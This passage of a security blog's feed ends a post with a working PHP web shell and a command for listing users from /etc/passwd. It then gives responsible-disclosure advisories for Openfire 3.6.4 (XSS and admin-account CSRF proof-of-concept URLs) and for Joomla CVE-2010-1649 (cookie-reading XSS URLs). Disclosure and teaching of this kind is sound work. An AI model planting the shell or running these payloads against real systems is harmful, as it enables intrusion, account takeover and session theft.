/&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;head&amp;gt;&lt;br /&gt;&amp;lt;title&amp;gt;&lt;br /&gt;simple php shell PoC - karniv0re&lt;br /&gt;&amp;lt;/title&amp;gt;&lt;br /&gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;h2&amp;gt;System Info&amp;lt;/h2&amp;gt;&lt;br /&gt;&amp;lt;pre&amp;gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;echo "/etc/issue:\t".exec ("cat /etc/issue")."\n";&lt;br /&gt;echo "uname -a:\t".exec ("uname -a")."\n";&lt;br /&gt;echo "id:\t\t".exec("id")."\n";&lt;br /&gt;echo "current wd:\t".exec ("pwd")."\n";&lt;br /&gt;?&amp;gt;&lt;br /&gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;&amp;lt;br /&amp;gt;&lt;br /&gt;&amp;lt;form method="post"&amp;gt;&lt;br /&gt;&amp;lt;input type="text" name="cmd"&amp;gt;&lt;br /&gt;&amp;lt;input type="submit" value="Execute!"&amp;gt;&lt;br /&gt;&amp;lt;br /&amp;gt;&lt;br /&gt;&amp;lt;h2&amp;gt;Command Output&amp;lt;/h2&amp;gt;&lt;br /&gt;&amp;lt;pre&amp;gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;if(isset($_POST['cmd'])){&lt;br /&gt; $cmd = $_POST['cmd'];&lt;br /&gt; if (strlen($cmd)==0){&lt;br /&gt; $cmd = "true";&lt;br /&gt; }&lt;br /&gt; system($cmd);&lt;br /&gt; die;&lt;br /&gt;}&lt;br /&gt;?&amp;gt;&lt;br /&gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;To get a list of users once you have uploaded and gained access to your shell, you can run:&lt;/span&gt;&lt;br /&gt;&lt;pre&gt;"awk -F ":" '{ print $1 "[" $3 "]" "[" $7 "]"}' /etc/passwd"&lt;/pre&gt;&lt;span style="font-family:trebuchet ms;"&gt;Feel free to modify and add features, but remember there are more shells out there doing much more awesome stuff than merely execute and display.&lt;br /&gt;&lt;br /&gt;Happy Hacking!&lt;br /&gt;&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/riyazwalikar/~4/8wIBAsTtygI" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.riyazwalikar.com/feeds/7495228330711645405/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.riyazwalikar.com/2011/03/simple-php-web-application-backdoor.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/7495228330711645405?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/7495228330711645405?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/riyazwalikar/~3/8wIBAsTtygI/simple-php-web-application-backdoor.html" title="Simple PHP Web Application Backdoor" /><author><name>Riyaz Ahemed Walikar</name><uri>http://www.blogger.com/profile/10553011445419057597</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="22" height="32" src="http://2.bp.blogspot.com/-Gt2oM9Ob-IU/UJzlXjWhBYI/AAAAAAAAAi8/_LtVk7nXhz8/s220/profile.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.riyazwalikar.com/2011/03/simple-php-web-application-backdoor.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkEAR3o-eyp7ImA9Wx9UGEk.&quot;"><id>tag:blogger.com,1999:blog-4333330172780240225.post-6210810762529438975</id><published>2011-02-15T23:56:00.000-08:00</published><updated>2011-02-16T00:24:06.453-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-02-16T00:24:06.453-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="openfire" /><category scheme="http://www.blogger.com/atom/ns#" term="csrf" /><category scheme="http://www.blogger.com/atom/ns#" term="bid" /><category scheme="http://www.blogger.com/atom/ns#" term="admin" /><category scheme="http://www.blogger.com/atom/ns#" term="xss" /><category scheme="http://www.blogger.com/atom/ns#" term="owasp" /><category scheme="http://www.blogger.com/atom/ns#" term="vulnerability" /><title>Multiple XSS and XSRF issues in Openfire 3.6.4</title><content type="html">&lt;span style="font-family:trebuchet ms;"&gt;I recently (read: last month) disclosed several security issues with Ignite Realtime's Openfire v3.6.4. The following links are the original advisory postings and the exploit code:&lt;br /&gt;http://www.securityfocus.com/bid/45682&lt;br /&gt;http://secunia.com/advisories/42799&lt;br /&gt;http://packetstormsecurity.org/files/author/8144/&lt;br /&gt;http://www.exploit-db.com/exploits/15918/&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;The following is the condensed disclosure document for the vulnerabilities.:&lt;br /&gt;Title: Multiple XSS and CSRF Vulnerabilities in Openfire 3.6.4 Administrative Section&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Project: Openfire&lt;br /&gt;Severity: High&lt;br /&gt;Versions: 3.6.4 (other versions may be affected)&lt;br /&gt;Exploit type: Multiple XSS and CSRF&lt;br /&gt;Fixes Available: None&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Timeline:&lt;br /&gt;14 October 2010:  Vendor Contacted&lt;br /&gt;15 October 2010:  Vendor Response received. Asks to verify the issues in beta.&lt;br /&gt;28 October 2010:  Informed Vendor that multiple pages are still vulnerable&lt;br /&gt;03 November 2010: Acknowledgement / Update requested&lt;br /&gt;03 November 2010: Update recevied. No fixes initiated.&lt;br /&gt;23 November 2010: Informed vendor disclosure date set to 1/12/2010&lt;br /&gt;22 December 2010: Update requested.&lt;br /&gt;22 December 2010: Vendor asks to release information as the vulnerabilities are already known&lt;br /&gt;23 December 2010: A different contact at the Vendor location informs that there are no updates.&lt;br /&gt;24 December 2010: Disclosure date set to 5 January 2011&lt;br /&gt;05 January 2011: Disclosed to the Security Community via Bugtraq, Full disclosure and Secunia&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Product Description:&lt;br /&gt;Openfire is a real time collaboration (RTC) server licensed under the Open Source GPL. It uses the only widely adopted open protocol for instant messaging, XMPP (also called Jabber). Openfire is incredibly easy to setup and administer, but offers rock-solid security and performance.&lt;br /&gt;(Source: http://www.igniterealtime.org/projects/openfire/)&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Affected Files/Locations/Modules:&lt;br /&gt;XSS:&lt;br /&gt;login.jsp&lt;br /&gt;security-audit-viewer.jsp&lt;br /&gt;user-create.jsp&lt;br /&gt;plugins/search/advance-user-search.jsp&lt;br /&gt;user-roster-add.jsp&lt;br /&gt;user-roster.jsp&lt;br /&gt;group-create.jsp&lt;br /&gt;group-edit.jsp&lt;br /&gt;group-delete.jsp&lt;br /&gt;muc-room-edit-form.jsp&lt;br /&gt;muc-room-delete.jsp&lt;br /&gt;plugins/clientcontrol/create-bookmark.jsp&lt;br /&gt;plugins/clientcontrol/spark-form.jsp&lt;br /&gt;&lt;br /&gt;CSRF:&lt;br /&gt;user-create.jsp&lt;br /&gt;user-password.jsp&lt;br /&gt;user-delete.jsp&lt;br /&gt;group-create.jsp&lt;br /&gt;group-edit.jsp&lt;br /&gt;group-delete.jsp&lt;br /&gt;&lt;br /&gt;---------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Vulnerability Details:&lt;br /&gt;User can insert HTML or execute arbitrary JavaScript code within the vulnerable application. The vulnerabilities arise due to insufficient input validation in multiple input fields throughout the application.&lt;br /&gt;Successful exploitation of these vulnerabilities could result in, but not limited to, compromise of the application, theft of&lt;br /&gt;cookie-based authentication credentials, arbitrary url redirection, disclosure or modification of sensitive data and phishing attacks.&lt;br /&gt;&lt;br /&gt;Since the vulnerabilities exisit in the administrative module, a sucessful attack could cause a complete compromise of the entire application.&lt;br /&gt;&lt;br /&gt;An attacker can also force a user into executing functions that add/delete/modify users and groups without the knowledge of the user.&lt;br /&gt;----------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Proof of Concept:&lt;br /&gt;Persistent XSS:&lt;br /&gt;http://target-url/login.jsp?url=&amp;amp;username=test" onfocus=javascript:window.location.assign('http://www.google.com');"&gt;&lt;br /&gt;&lt;br /&gt;http://target-url/login.jsp?url=hello" onfocus=javascript:window.location.assign('http://www.google.com');"&gt;&lt;br /&gt;     &lt;br /&gt;http://target-url/security-audit-viewer.jsp?range=15&amp;amp;username=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert('xss')&amp;lt;/script&amp;gt;&amp;amp;search=Search&lt;br /&gt;&lt;br /&gt;http://target-url/user-create.jsp?username=test&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert('xss')&amp;lt;/script&amp;gt;&lt;br /&gt;http://target-url/user-create.jsp?name=test&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert('xss')&amp;lt;/script&amp;gt;&lt;br /&gt;http://target-url/user-create.jsp?email=test&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert('xss')&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;br /&gt;http://target-url/plugins/search/advance-user-search.jsp?criteria=test&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert('xss')&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;br /&gt;http://target-url/user-roster-add.jsp?username=test&amp;lt;script&amp;gt;alert('xss')&amp;lt;/script&amp;gt;&lt;br /&gt;http://target-url/user-roster-add.jsp?username=user&amp;amp;jid=1&amp;amp;nickname=&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&amp;amp;email=&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&amp;amp;add=Add+Item&lt;br /&gt;&lt;br /&gt;http://target-url/user-roster.jsp?username=test&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&lt;br /&gt;http://target-url/user-lockout.jsp?username=test&amp;lt;script&amp;gt;alert('xss')&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;br /&gt;http://target-url/group-create.jsp?name=test&amp;lt;script&amp;gt;alert('xss')&amp;lt;/script&amp;gt;&amp;amp;description=&amp;lt;script&amp;gt;alert('xss')&amp;lt;/script&amp;gt;&amp;amp;create=Create+Group&lt;br /&gt;&lt;br /&gt;http://target-url/group-edit.jsp?creategroupsuccess=true&amp;amp;group=test&amp;lt;script&amp;gt;alert('xss')&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;br /&gt;http://target-url/group-delete.jsp?group=&amp;lt;script&amp;gt;alert('xss')&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://target-url/muc-room-edit-form.jsp?save=true&amp;amp;create=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&amp;amp;roomconfig_persistentroom=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&amp;amp;roomName=23&amp;amp;mucName=conference&amp;amp;roomconfig_roomname=&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&amp;amp;roomconfig_roomdesc=&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&amp;amp;room_topic=&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&amp;amp;roomconfig_maxusers=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&amp;amp;roomconfig_presencebroadcast=&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;true&amp;amp;roomconfig_presencebroadcast2=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&amp;amp;roomconfig_presencebroadcast3=true&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&amp;amp;roomconfig_roomsecret=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&amp;amp;roomconfig_roomsecret2=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&amp;amp;roomconfig_whois=moderator&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&amp;amp;roomconfig_publicroom=true&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&amp;amp;roomconfig_canchangenick=true&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&amp;amp;roomconfig_registration=true&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&amp;amp;Submit=Save+Changes&lt;br /&gt;&lt;br /&gt;http://target-url/muc-room-delete.jsp?roomJID=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&amp;amp;create=false&lt;br /&gt;&lt;br /&gt;http://target-url/plugins/clientcontrol/create-bookmark.jsp?urlName=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&amp;amp;url=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&amp;amp;users=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&amp;amp;groups=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&amp;amp;rss=off&amp;amp;createURLBookmark=Create&amp;amp;type=url&lt;br /&gt;&lt;br /&gt;http://target-url/plugins/clientcontrol/spark-form.jsp?optionalMessage=&amp;lt;/textarea&amp;gt;&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&amp;amp;submit=Update+Spark+Versions&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Stored XSS:&lt;br /&gt;http://target-url/group-create.jsp&lt;br /&gt;http://target-url/group-summary.jsp&lt;br /&gt;Method: Navigate to http://target-url/group-create.jsp, and create a new group with the following details.&lt;br /&gt;Group Name: Test&amp;lt;script&amp;gt;alert("xss")&amp;lt;/script&amp;gt;&lt;br /&gt;Description: Test&amp;lt;script&amp;gt;alert("xss")&amp;lt;/script&amp;gt;&lt;br /&gt;Click on Create Group, you will be greeted with multiple alert boxes. Click on Group Summary from the left pane or navigate to http://target-url/group-summary.jsp to be greeted again by multiple alert boxes completing the PoC.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;CSRF:&lt;br /&gt;For the following links, create html pages with image tags with scr= the following links and ask the user to view these pages. If a user is logged into Openfire's admin console and the HTML pages are viewed then the respective functions are called:&lt;br /&gt;http://target-url/user-create.jsp?username=tester&amp;amp;name=Riyaz&amp;amp;email=walikarriyazad%40microland.com&amp;amp;password=test&amp;amp;passwordConfirm=test&amp;amp;isadmin=on&amp;amp;create=Create+User&lt;br /&gt;http://target-url/user-create.jsp?username=tester&amp;amp;name=Riyaz&amp;amp;email=walikarriyazad%40microland.com&amp;amp;password=test&amp;amp;passwordConfirm=test&amp;amp;isadmin=on&amp;amp;create=Create+User&gt;&lt;br /&gt;http://target-url/user-password.jsp?username=admin&amp;amp;password=secure-pass&amp;amp;passwordConfirm=secure-pass&amp;amp;update=Update+Password&lt;br /&gt;http://target-url/user-password.jsp?username=admin&amp;amp;password=secure-pass&amp;amp;passwordConfirm=secure-pass&amp;amp;update=Update+Password&gt;&lt;br /&gt;http://target-url/user-delete.jsp?username=tester&amp;amp;delete=Delete+User&lt;br /&gt;http://target-url/user-delete.jsp?username=tester&amp;amp;delete=Delete+User&gt;&lt;br /&gt;http://target-url/group-create.jsp?name=NewGroup&amp;amp;description=New+Group&amp;amp;create=Create+Group&lt;br /&gt;http://target-url/group-create.jsp?name=NewGroup&amp;amp;description=New+Group&amp;amp;create=Create+Group&gt;&lt;br /&gt;http://target-url/group-edit.jsp?group=NewGroup&amp;amp;add=Add&amp;amp;username=admin&amp;amp;addbutton=Add&lt;br /&gt;http://target-url/group-edit.jsp?group=NewGroup&amp;amp;add=Add&amp;amp;username=admin&amp;amp;addbutton=Add&gt;&lt;br /&gt;http://target-url/group-edit.jsp?group=NewGroup&amp;amp;admin=abc@example.com&amp;amp;updateMember=Update&lt;br /&gt;http://target-url/group-edit.jsp?group=NewGroup&amp;amp;admin=abc@example.com&amp;amp;updateMember=Update&gt;&lt;br /&gt;&lt;br /&gt;---------------------------------------------------------------------&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/riyazwalikar/~4/EKJgYzhkTAk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.riyazwalikar.com/feeds/6210810762529438975/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.riyazwalikar.com/2011/02/multiple-xss-and-xsrf-issues-in.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/6210810762529438975?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/6210810762529438975?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/riyazwalikar/~3/EKJgYzhkTAk/multiple-xss-and-xsrf-issues-in.html" title="Multiple XSS and XSRF issues in Openfire 3.6.4" /><author><name>Riyaz Ahemed Walikar</name><uri>http://www.blogger.com/profile/10553011445419057597</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="22" height="32" src="http://2.bp.blogspot.com/-Gt2oM9Ob-IU/UJzlXjWhBYI/AAAAAAAAAi8/_LtVk7nXhz8/s220/profile.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.riyazwalikar.com/2011/02/multiple-xss-and-xsrf-issues-in.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkQFRHs8fip7ImA9WxFVFUw.&quot;"><id>tag:blogger.com,1999:blog-4333330172780240225.post-8383913600538045730</id><published>2010-06-11T02:56:00.000-07:00</published><updated>2010-06-14T04:18:35.576-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-06-14T04:18:35.576-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="joomla" /><category scheme="http://www.blogger.com/atom/ns#" term="bid" /><category scheme="http://www.blogger.com/atom/ns#" term="admin" /><category scheme="http://www.blogger.com/atom/ns#" term="cve" /><category scheme="http://www.blogger.com/atom/ns#" term="xss" /><category scheme="http://www.blogger.com/atom/ns#" term="vulnerability" /><title>Multiple Joomla! XSS Vulnerabilities - CVE-2010-1649</title><content type="html">&lt;div style="text-align: justify;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;Last month, while doing some tests on a Joomla! installation on my home computer, I came across a very glaring security issue. The Joomla! admin module has several components that are used to manage the site and its users. Several of these components have a search text box that allows users to search through the list of entities displayed. For example the search box in com_users component allows searching the list of users displayed. The issue was with the search boxes not sanitizing user input. That meant you could enter HTML text in the boxes and it would be rendered and displayed! That is exactly the cause of the world's most common web application vulnerability, Cross Site Scripting or more commonly known as XSS.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;This should help beginners understand XSS.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;a href="http://en.wikipedia.org/wiki/Cross-site_scripting"&gt;http://en.wikipedia.org/wiki/Cross-site_scripting&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=";font-family:arial;font-size:95%;"  &gt;Cross-site scripting (XSS) is a type of computer security vulnerability  typically found in web applications that enables malicious attackers to inject client-side script into web pages viewed by other users. An exploited cross-site scripting vulnerability can be used by attackers to bypass access controls such as the same origin policy.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=";font-family:arial;font-size:95%;"  &gt;Their impact may range from a petty nuisance to a significant security risk, depending on the sensitivity of the data handled by the vulnerable site, and the nature of any security mitigation implemented by the site's owner.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=";font-family:arial;font-size:95%;"  &gt;Attackers intending to exploit cross-site scripting vulnerabilities must approach each class of vulnerability differently. For each class, a specific attack vector is described here. The names below are technical terms, taken from the cast of characters commonly used in computer security.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;Cross Site Scripting can be divided into 2 classes. Persistent and Non-Persistent. The following exploit examples should make things clearer:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;br /&gt;Examples taken from Wikipedia.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=";font-family:arial;font-size:95%;"  &gt;Non-persistent:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=";font-family:arial;font-size:95%;"  &gt;  1. Alice often visits a particular website, which is hosted by Bob. Bob's website allows Alice to log in with a username/password pair and stores sensitive data, such as billing information.&lt;/span&gt;&lt;br /&gt;&lt;span style=";font-family:arial;font-size:95%;"  &gt;  2. Mallory observes that Bob's website contains a reflected XSS vulnerability.&lt;/span&gt;&lt;br /&gt;&lt;span style=";font-family:arial;font-size:95%;"  &gt;  3. Mallory crafts a URL to exploit the vulnerability, and sends Alice an email, enticing her to click on a link for the URL under false pretenses. This URL will point to Bob's website, but will contain Mallory's malicious code, which the website will reflect.&lt;/span&gt;&lt;br /&gt;&lt;span style=";font-family:arial;font-size:95%;"  &gt;  4. Alice visits the URL provided by Mallory while logged into Bob's website.&lt;/span&gt;&lt;br /&gt;&lt;span style=";font-family:arial;font-size:95%;"  &gt;  5. The malicious script embedded in the URL executes in Alice's browser, as if it came directly from Bob's server (this is the actual XSS vulnerability). The script can be used to send Alice's session cookie to Mallory. Mallory can then use the session cookie to steal sensitive information available to Alice (authentication credentials, billing info, etc.) without Alice's knowledge.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=";font-family:arial;font-size:95%;"  &gt;Persistent attack:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=";font-family:arial;font-size:95%;"  &gt;  1. Mallory posts a message with malicious payload to a social network.&lt;/span&gt;&lt;br /&gt;&lt;span style=";font-family:arial;font-size:95%;"  &gt;  2. When Bob reads the message, Mallory's XSS steals Bob's cookie.&lt;/span&gt;&lt;br /&gt;&lt;span style=";font-family:arial;font-size:95%;"  &gt;  3. Mallory can now hijack Bob's session and impersonate Bob.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;All versions of Joomla! prior to 1.5.18 are vulnerable to an XSS injection attack in the admin module. The following are the vulnerabaility details and exploit code.&lt;br /&gt;&lt;span style=";font-family:arial;font-size:95%;"  &gt;&lt;br /&gt;* Project: Joomla!&lt;br /&gt;* SubProject: All&lt;br /&gt;* Severity: High&lt;br /&gt;* Versions: 1.5.17 and all previous 1.5 releases&lt;br /&gt;* Exploit type: XSS Injection&lt;br /&gt;* Reported Date: 2010-May-13&lt;br /&gt;* Fixed Date: 2010-May-28&lt;br /&gt;* Fixed Version: Joomla! 1.5.18&lt;br /&gt;* Update Download Link: http://www.joomla.org/download.html&lt;br /&gt;* Info URL: http://developer.joomla.org/security/news/314-20100501-core-xss-vulnerabilities-in-back-end.html&lt;br /&gt;&lt;br /&gt;Vulnerability Details:&lt;br /&gt;&lt;br /&gt;User can execute arbitrary JavaScript code within the vulnerable application.&lt;br /&gt;&lt;br /&gt;The vulnerability arises due to the administrator core components failing to properly sanitize user-supplied input in the "search"&lt;br /&gt;variable. Successful exploitation of this vulnerability could result in, but not limited to, compromise of the application, theft of cookie-based authentication credentials, arbitrary url redirection, disclosure or modification of sensitive data and phishing attacks.&lt;br /&gt;&lt;br /&gt;An attacker can send a link with the exploit to an administrator whose access could compromise the application. The following PoC is&lt;br /&gt;available:&lt;br /&gt;&lt;br /&gt;http://joomlasite/administrator/index.php?option=com_users&amp;amp;search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E&lt;br /&gt;http://joomlasite/administrator/index.php?option=com_users&amp;amp;search=%22%20onmousemove=%22javascript:window.location.assign%28%27http://www.google.com%27%29%22%3E&lt;br /&gt;&lt;br /&gt;http://joomlasite/administrator/index.php?option=com_trash&amp;amp;search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E&lt;br /&gt;&lt;br /&gt;http://joomlasite/administrator/index.php?option=com_content&amp;amp;search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E&lt;br /&gt;&lt;br /&gt;http://joomlasite/administrator/index.php?option=com_sections&amp;amp;search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E&lt;br /&gt;&lt;br /&gt;http://joomlasite/administrator/index.php?option=com_categories&amp;amp;search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E&lt;br /&gt;&lt;br /&gt;http://joomlasite/administrator/index.php?option=com_frontpage&amp;amp;search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E&lt;br /&gt;&lt;br /&gt;http://joomlasite/administrator/index.php?option=com_menus&amp;amp;task=view&amp;amp;search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E&lt;br /&gt;&lt;br /&gt;http://joomlasite/administrator/index.php?option=com_messages&amp;amp;search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E&lt;br /&gt;&lt;br /&gt;http://joomlasite/administrator/index.php?option=com_banners&amp;amp;search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E&lt;br /&gt;&lt;br /&gt;http://joomlasite/administrator/index.php?option=com_banners&amp;amp;c=client&amp;amp;search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E&lt;br /&gt;&lt;br /&gt;http://joomlasite/administrator/index.php?option=com_categories&amp;amp;section=com_banner&amp;amp;search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E&lt;br /&gt;&lt;br /&gt;http://joomlasite/administrator/index.php?option=com_contact&amp;amp;search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E&lt;br /&gt;&lt;br /&gt;http://joomlasite/administrator/index.php?option=com_categories&amp;amp;section=com_contact_details&amp;amp;search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E&lt;br /&gt;&lt;br /&gt;http://joomlasite/administrator/index.php?option=com_newsfeeds&amp;amp;search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E&lt;br /&gt;&lt;br /&gt;http://joomlasite/administrator/index.php?option=com_categories&amp;amp;section=com_newsfeeds&amp;amp;search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E&lt;br /&gt;&lt;br /&gt;http://joomlasite/administrator/index.php?option=com_poll&amp;amp;search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E&lt;br /&gt;&lt;br /&gt;http://joomlasite/administrator/index.php?option=com_weblinks&amp;amp;search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E&lt;br /&gt;&lt;br /&gt;http://joomlasite/administrator/index.php?option=com_categories&amp;amp;section=com_weblinks&amp;amp;search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E&lt;br /&gt;&lt;br /&gt;http://joomlasite/administrator/index.php?option=com_modules&amp;amp;search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E&lt;br /&gt;&lt;br /&gt;http://joomlasite/administrator/index.php?option=com_plugins&amp;amp;search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;CONFIRM URL: http://developer.joomla.org/security/news/314-20100501-core-xss-vulnerabilities-in-back-end.html &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;BID: 40444 - http://www.securityfocus.com/bid/40444 &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;CVE-2010-1649: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1649 &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;Secunia: 39964: http://secunia.com/advisories/39964 &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;OSVDB: 65011: http://www.osvdb.org/65011&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_17JNeVdiZ7k/TBYIBxPjG6I/AAAAAAAAAV8/X_Ht8V6O3CQ/s1600/XSS-Admin-ModuleManager.PNG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 291px;" src="http://3.bp.blogspot.com/_17JNeVdiZ7k/TBYIBxPjG6I/AAAAAAAAAV8/X_Ht8V6O3CQ/s400/XSS-Admin-ModuleManager.PNG" alt="" id="BLOGGER_PHOTO_ID_5482578422861601698" border="0" /&gt;&lt;/a&gt;&lt;br 